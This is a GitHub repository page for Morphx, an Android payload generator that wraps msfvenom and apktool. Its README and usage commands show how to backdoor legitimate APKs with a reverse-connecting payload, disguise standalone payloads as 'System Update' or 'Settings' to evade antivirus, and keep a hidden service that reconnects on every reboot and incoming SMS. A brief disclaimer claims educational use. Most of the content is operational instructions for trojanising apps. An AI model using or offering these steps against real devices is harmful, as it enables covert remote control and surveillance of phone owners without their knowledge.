hxrofo/Morphx
GitHub: hxrofo/Morphx
Morphx 是一款 Android Payload 生成与混淆工具,通过封装 msfvenom 和 apktool 实现 APK 后门植入、AV 绕过和隐蔽持久化。
Stars: 7 | Forks: 2

# Morphx – 混淆的 Android Payload 生成器
**Morphx** 是一款用于创建 Android Payload 并对现有 APK 植入后门的命令行工具。
它封装了 **msfvenom** 和 **apktool**,用于生成独立的 Payload(具备 AV 绕过能力),或将 Payload 注入到合法的应用中。
## ✨ 功能
- 对现有的 APK **植入后门**(支持多 dex,对顽固应用提供 `--use-aapt2` 选项)
- 通过重命名类、自定义图标和应用名称,**绕过 AV** 生成独立的 Payload
- **隐蔽持久化** – 在开机时**以及**接收到任何传入的 SMS 时启动服务
- 完全自包含 – 只需将你的 `apktool.jar`、`aapt`、`aapt2` 放入 `input/` 文件夹即可
## 🔧 环境要求
- Python 3.6+
- `msfvenom` (Metasploit Framework)
- `java`, `keytool`, `zipalign`
- `apksigner`(可选,但对于 Android 11+ 推荐使用)
- `Pillow`(用于处理图标) → `pip install Pillow`
- **apktool** – 可以是系统全局安装,或者将 `apktool.jar` 放置在 `input/` 目录中
## 🚀 快速开始
```
# Clone 仓库
git clone https://github.com/hxrofo/morphx.git
cd morphx
# (可选)创建虚拟环境并安装 Pillow
python3 -m venv venv && source venv/bin/activate
pip install Pillow
# 使脚本可执行
chmod +x morphx.py
# 以 root 身份运行
sudo python3 morphx.py
[options]
## 用法
1. Backdoor an existing APK
sudo python3 morphx.py backdoor \
--lhost 192.168.1.10 \
--lport 4444 \
--original original.apk \
--out evil
If you encounter `aapt` errors, add `--use-aapt2`:
2. Bypass AV (stand‑alone payload)
sudo python3 morphx.py bypass \
--lhost 192.168.1.10 \
--lport 4444 \
--name "System Update" \
--icon myicon.png \
--out update
3. Stealth persistence
sudo python3 morphx.py stealth \
--lhost 192.168.1.10 \
--lport 4444 \
--name "Settings" \
--icon gear.png \
--out stealth
**How it works:**
Tap the app once – it opens and immediately closes (starting the background service).
After that, the payload will reconnect on every reboot and on any incoming SMS.
🧰 How to supply your own apktool / aapt binaries
1. Create an `input` folder next to `morphx.py`.
2. Place `apktool.jar` and your .png icons (optionally `aapt`, `aapt2`, `apktool` wrapper) inside.
3. The script will automatically use them instead of the system versions.
⚠️ Disclaimer
This tool is intended for **educational and authorised security testing only**.
The authors are not responsible for any misuse. Always obtain proper consent before testing.
```
标签:Android安全, JS文件枚举, 后门生成, 目录枚举, 移动安全, 网络安全, 逆向工具, 隐私保护